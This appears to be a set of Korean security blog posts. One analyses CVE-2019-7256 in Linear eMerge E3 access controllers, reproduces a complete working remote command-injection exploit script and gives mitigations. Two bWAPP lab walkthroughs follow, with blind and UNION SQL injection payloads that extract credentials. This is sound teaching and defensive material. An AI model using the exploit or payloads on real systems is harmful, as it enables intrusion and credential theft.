1. Linear eMerge E3-Series devices

- 사람이 지정된 시간에 지정된 장소에 출입하기 위해 사용할 수 있는 문을 지정하는 액세스 컨트롤러

-  즉, 조직 차원에서 특정 영역 출입 인원을 지정해 통제할 수 있으며, 따라서 여러 주요 시설에서 흔히 찾을 수 있는 제품

- 내장형 Linux 운영 체제에서 실행되며 내장형 웹 서버를 통해 브라우저에서 시스템을 관리

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2019-7256

- Linear eMerge E3-Series 제품군에서 발생하는 Command Injections 취약점

- 원격에서 제어 시스템을 완전히 장악할 수 있게 되어 CVSS 기준으로 만점인 10점을 받음

영향받는 제품 : Linear eMerge E3-Series 제품군

[사진 2] 쇼단 검색 화면

 

2.1 취약점 분석

- card_scan.php 페이지에서 사용자 입력값에 대한 검증을 수행하지 않아 발생

- GET 메소드를 통해 사용자가 입력한 ReaderNo, CardFormatNo 변수를 그대로 사용하여 exec()로 실행

[사진 3] 취약한 버전의 card_scan.php

- 아래 Exploit 예시에서처럼 서버에서 200 응답이 발생

[사진 4] Exploit 예시

2.2 PoC 분석

- /card_scan.php URL 요청 및 ReaderNo 매개변수 (혹은 CardFormatNo 매개변수)를 통해 공격을 시도함

- 결과를 test.txt(임의 파일명)에 저장 후 결과 출력, 삭제까지 이루어짐

#!/usr/bin/env python
#
# Linear eMerge E3 Unauthenticated Command Injection Remote Root Exploit
# Affected version: <=1.00-06
# via card_scan.php
# CVE: CVE-2019-7256
# Advisory: https://applied-risk.com/resources/ar-2019-005
#
# By Gjoko 'LiquidWorm' Krstic
#
###################################################################
# lqwrm@metalgear:~/stuff$ python emergeroot1.py 192.168.1.2
#
# lighttpd@192.168.1.2:/spider/web/webroot$ id
# uid=1003(lighttpd) gid=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ echo davestyle |su -c id
# Password: 
# uid=0(root) gid=0(root) groups=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ exit
#
# [+] Erasing read stage file and exiting...
# [+] Done. Ba-bye!
#
###################################################################

import requests
import sys,os##

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
  print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'
  sys.exit()

ipaddr = sys.argv[1]

print
while True:
  try:
    cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')
    execute = requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60'+cmd+' > test.txt%60')
    readreq = requests.get('http://'+ipaddr+'/test.txt')
    print readreq.text
    if cmd.strip() == 'exit':
      print "[+] Erasing read stage file and exiting..."
      requests.get('http://'+ipaddr+'/card_scan.php?No=30&ReaderNo=%60rm test.txt%60')
      print "[+] Done. Ba-bye!\n"
      break
    else: continue
  except Exception:
    break

sys.exit()

 

3. 대응방안

3.1 서버측면

① 최신 패치 적용

- 패치된 버전의 card_scan.php에서는 사용자 입력값이 적절한지 is_numeric()으로 검증

- is_numeric()은 변수의 자료형이 숫자인지 확인하는 php 함수

※ card_scan.php는 카드 정보를 확인하는 기능을 수행하는것으로 판단됨.

[사진 5] 입력값 검증

② 내부망과 분리

- 패치 적용이 어렵거나 불가한 경우 취약한 시스템을 내부망에서 분리

- 공격자에 의한 네트워크 접속한 후 횡적 움직임 방지

 

3.2 네트워크 측면

① 공개된 PoC를 통해 다음을 탐지하는 룰을 적용 및 탐지 후 차단

- 취약한 URL 요청 : /card_scan.php

- 매개변수 사용 여부 : No, ReaderNo, CardFormatNo

 

② IoC를 참고해 IP 차단 등의 침해지표 활용

 

4. 참조

https://nvd.nist.gov/vuln/detail/CVE-2019-7256

- https://www.boannews.com/media/view.asp?idx=86155 

https://www.exploit-db.com/docs/47646

https://securitynews.sonicwall.com/xmlpost/linear-emerge-e3-access-controller-actively-being-exploited/

- https://packetstormsecurity.com/files/155255/Linear-eMerge-E3-1.00-06-card_scan.php-Command-Injection.html

1. Blind SQL Injection

- 웹 서버의 보안 설정을 통해 기존 SQL Injection에 대한 대응이 되어있는 경우 수행

- SQL 쿼리 수행 결과인 참/거짓을 기반으로 데이터를 알아내는 기법

- 참/거짓으로 결과를 반환하므로 노가다성 작업이 필요

- Boolean-Based 기법과 Time-Based 기법이 있음

[캡쳐 1] Blind SQL Injection 수행 과정

- Blind SQL Injection에서는 다음 함수들이 자주 사용됨

함수 설명
length("문자열") - 문자열의 길이를 반환하는 함수
substring(대상 문자열, 시작 위치, 길이) - 문자열에서 지정한 시작위치부터 길이만큼 출력하는 함수
- 시작 위치는 1부터 시작
* MySQL : substring() / Oracle : substr() / 사용법은 동일
limit 시작 위치, 갯수 - 지정한 시작위치부터 갯수만큼 결과를 반환하는 함수
- 시작 위치는 0부터 시작
ascii - 문자를 아스키코드로 변환하는데 사용하는 함수
- 10진수 48 ~ 57 = 정수 1 ~ 10
- 10진수 65 ~ 90 = 문자 A ~ Z
- 10진수 97 ~ 122 = 문자 a ~ z

2. 실습

- movie 검색란에 SQL Injection 취약점 유무를 확인하기 위해 '를 입력

- 출력되는 에러를 통해 SQL Injection 취약점이 존재하는 것을 알 수 있음

- 쿼리 수행 결과가 참일 경우와 거짓일 경우 출력되는 결과 값이 다른 것을 알 수 있음

- 해당 결과를 통해 Blind SQL 중 Boolean-Based 기법을 수행해야 한다는것을 유추 가능함

 

2.1 데이터베이스 이름의 문자열 갯수 확인

- length()를 이용해 데이터베이스 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length(database())=1 #

- 질의문 해석 : 데이터베이스 이름의 길이가 1인지 

* database() : 서버의 데이터베이스 명을 반환하는 시스템 함수

- 숫자를 계속해서 증가 시켜 질의를 수행한 결과, 데이터베이스 명은 5글자인 것을 알 수 있음

- 수행 질의문 : ' or 1=1 and length(database())=5 #

- 질의문 해석 : 데이터베이스 이름의 길이가 5인지

2.2 데이터베이스 이름 확인

- substring()를 이용해 데이터베이스의 명을 확인할 수 있음

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='a' #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'a'인지

- 문자를 변경하면서 질의문을 수행하면, 데이터베이스가 'b'로 시작하는 5글자임을 알 수 있음

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='b' #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'b'인지

- 데이터베이스 이름의 두번째 글자 확인을 원할 경우 substring()의 시작위치를 2로 변경하여 질의를 수행하면 됨.

- 수행 질의문 : ' or 1=1 and substring(database(),2,1)='a' #

- 질의문 해석 : 데이터베이스 이름의 두번째 글자가 'a'인지

 

- ASCII 값과 부등호를 이용해 해당 아스키 값이 입력한 아스키 값보다 큰지 작은지 확인할 수 있음

- substring()으로 하나씩 글자를 확인하는 것보다 ASCII 값으로 범위를 한정하여 검색하는 것이 수월

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)<=97 #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 97(문자 a) 보다 작거나 같은 값인지

- 각 과정을 반복하면 데이터베이스의 이름이 'bWAPP'인 것을 알 수 있음

2.3 테이블 이름의 문자열 갯수 확인

- length()와 limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 1#

* table_type = 'base table'란 information_schema에서 메타 데이터 테이블을 제외한 테이블을 의미

- 질의문 해석 :

information_schema 데이터베이스의 tables 테이블에서
table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의
table_name의
첫번째 테이블 이름의

길이가 1인지

- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블 이름의 길이가 4인것을 알 수 있음

- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 4#

- 두번째 테이블 이름의 길이를 알고싶을 경우 위 수행 질의문 중 limit 0,2 로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

2.4 테이블 이름 확인

- ascii, substring(), limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#

- 질의문 해석 :

information_schema 데이터베이스의 tables 테이블에서

table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의

table_name의

첫번째 테이블 이름의

쳣번째 글자가

ascii 값으로 97(문자 a)보다 크거나 같은지

- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블이 b로 시작하는 4글자임을 확인할 수 있음

- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#

- 문자를 변경하면서 질의를 수행한 결과, 데이터베이스의 첫 글자는 'b'인 것을 알 수 있으며, 결과 값은 blog임

- 두번째 테이블의 이름을 알고싶은 경우 수행 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

- 해당 과정을 반복하면 4번째 테이블 명이 users라는 것을 알 수 있음

2.5 users 테이블의 정보 확인

- 다음 질의를 통해 users 테이블의 첫번째 칼럼의 글자수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1#

- 질의문 해석 :

information_schema 데이터베이스의 columns 테이블에서

table_name이 users인 테이블의

column_name의

첫번째 컬럼의

길이가 1인지

- 2를 대입하여 질의를 수행하면 결과로 참을 반환하며, id임을 추측해 볼 수 있으며 질의를 통해 확인 가능

- 수행 질의문 :  ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,2)= 'id'#

- 두번째 컬럼을 알고싶은 경우 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

- 해당 과정을 반복하면 users 테이블의 컬럼은 id, login, password 등으로 구성되어 있는것을 알 수 있음

2.6 users 테이블의 login 컬럼 정보 확인

- 다음 질의문을 통해 login 컬럼에 저장된 정보의 길이 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select login from users limit 0,1))=1#

- 질의문 해석 : users 테이블의 login 컬럼의 첫번째 컬럼의 길이가 1인지

- 질의문을 변경하면서 질의를 수행하면 2번째 컬럼의 길이가 3인것을 확인할 수 있음

- 다음 질의문을 통해 users 테이블의 login 컬럼의 두번째 컬럼이 3글자이며, bee임을 추측해 볼 수 있으며 질의를 통해 확인 가능

- 수행 질의문 : ' or 1=1 and substring((select login from users limit 1,1),1,3)='bee'#

- 질의문 해석 : users 테이블의 login 컬럼의 두번째 컬럼이 'bee'인지

 

- 또한, 각 과정을 반복하면 users 테이블의 password 컬럼 길이가 40임을 알 수 있고, 해시된 값임을 추측해 볼 수 있음

- 수행 질의문 : ' or 1=1 and length((select password from users where login='bee'))=40#

- 질의문 해석 : users 테이블에서 login 컬럼 값이 'bee'인 password 컬럼의 길이가 40인지

- 해시 여부를 확인하면(수행 질의문에서 md5()를 sha1 등으로 바꿔서 확인 가능) sha1을 사용해 비밀번호를 해시하여 저장하는 것을 알 수 있음

- 수행 질의문 : ' or 1=1 and md5("bug") = (select password from users where login='bee')#

 

3. 비박스 소스 확인

- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음

① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음

② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증

③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증

- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증

① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환

② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프

SQL injection

- 입력값에 대한 검증을 하지 않을 경우 악의적인 SQL 쿼리를 삽입하여 데이터베이스의 정보를 탈취하거나 인증을 우회하는 공격 기법

- 영화를 검색하는 페이지이며, 아무 입력값 없이 Search를 누르면 모든 영화 목록들이 출력됨

- 해당 페이지에 SQL Injection 취약점 존재 여부를 확인하기 위해 '(작은따옴표) 입력 후 Search 클릭

* 데이터베이스에서는 '(작은따옴표)로 문자 데이터를 구분하기 때문

- 그 결과로 오류메세지가 출력되며, SQL Injection 취약점이 존재하는 것과 MySQL을 사용하는 것을 알 수 있음.

* 데이터베이스별 한줄 주석 : MySQL : # / Oracle : -- / MSSQL : -- / MariaDB : --, # / Sybase IQ : --, //, % / Sybase ASE : -- / DB2 : --

- 좀 더 자세한 정보를 알아내기 위해 UNION SELECT 구문을 사용

UNION문
① 두 개 이상의 SELECT 문을 결합하고자 할 때 사용
② 선행 쿼리의 SELECT 문의 컬럼 갯수와 후행 쿼리의 SELECT 문의 컬럼 갯수와 데이터 형식이 동일해야 함
③ 중복을 제거하여 출력 / UNION ALL은 중복을 제거하지 않고 모두 출력

- UNION 구문을 사용하기 위해서는 먼저 SELECT 문의 컬럼 갯수를 파악해야 하므로 다음 SQL 구문을 실행함

<수행 구문>

' UNION SELECT 1,2...#

<구문 분석>
' : 선행 질의문 종료
UNION : 선행 질의문과 후행 질의문 합치기
1,2,3 ... : 컬럼 갯수
# : MySQL 한줄 주석으로, 이후 구문들은 주석으로 처리되어 무시

' UNION SELECT 1# ------------------- 에러발생
' UNION SELECT 1,2# ----------------- 에러발생
' UNION SELECT 1,2,3# --------------- 에러발생
' UNION SELECT 1,2,3,4# ------------- 에러발생
' UNION SELECT 1,2,3,4,5# ----------- 에러발생
' UNION SELECT 1,2,3,4,5,6# --------- 에러발생
' UNION SELECT 1,2,3,4,5,6,7# ------- 정상실행

- 위의 결과를 통해 컬럼 갯수는 7개이며, 출력되는 컬럼 번호는 2, 3, 4, 5번인 것을 알 수 있음

- 이후, 2, 3, 4, 5번 칼럼 값에 시스템 변수 혹은 메타데이터를 적용해 데이터베이스에 대한 정보를 알 수 있음

 

① 데이터베이스 버전 확인

<수행 구문>

' UNION SELECT 1, @@version, 3, 4, 5, 6, 7#

* @@version : 데이터베이스 버전이 저장된 시스템 변수

② 테이블명 확인

<수행 구문>

' UNION SELECT 1, table_name, 3, 4, 5, 6, 7 FROM information_schema.tables #

<구문 분석>

1) table_name : 테이블 명

2) information_schema : MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB

3) information_schema.tables : information_schema 데이터베이스 내의 tables 테이블(생성된 모든 테이블 정보)

<전체 구문>

information_schema 데이터베이스의 tables 테이블의 테이블 이름을 두번째 컬럼에 출력

③ 테이블 정보 확인

<수행 구문>

' UNION SELECT 1, column_name, 3, 4, 5, 6, 7 FROM information_schema.columns WHERE table_name='users' #

<구문 분석>

1) column_name : 열이름

2) information_schema.columns : information_schema 데이터베이스 내의 columns 테이블(모든 스키마의 컬럼 확인)

3) table_name='users' : table_name(테이블 명)이 users인 테이블

<전체 구문>

information_schema 데이터베이스의 columns 테이블에서 테이블 이름이 users인 테이블의 column 이름을 두번째 컬럼에 출력

④ 계정 정보 확인

<수행 구문>

' UNION SELECT 1, id, login, secret, password, 6, 7 from users # 

<전체 구문>

users 테이블에서 id, login, secret, password 컬럼의 내용을 출력

* 출력되는 컬럼은 4개 이므로 추가로 출력을 원하는 컬럼이 있는 경우 "concat(첫번째컬럼, 두번째컬럼)"을 사용

* concat(str1, str2 ..) : 명시된 문자열을 병합하여 반환하는 함수

- bee 계정의 비밀번호(6885858486f31043e5839c735d99457f045affd0 -> bug)를 알 수 있음

 

- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음

① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음

② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증

③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증

- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증

① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환

② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프

+ Recent posts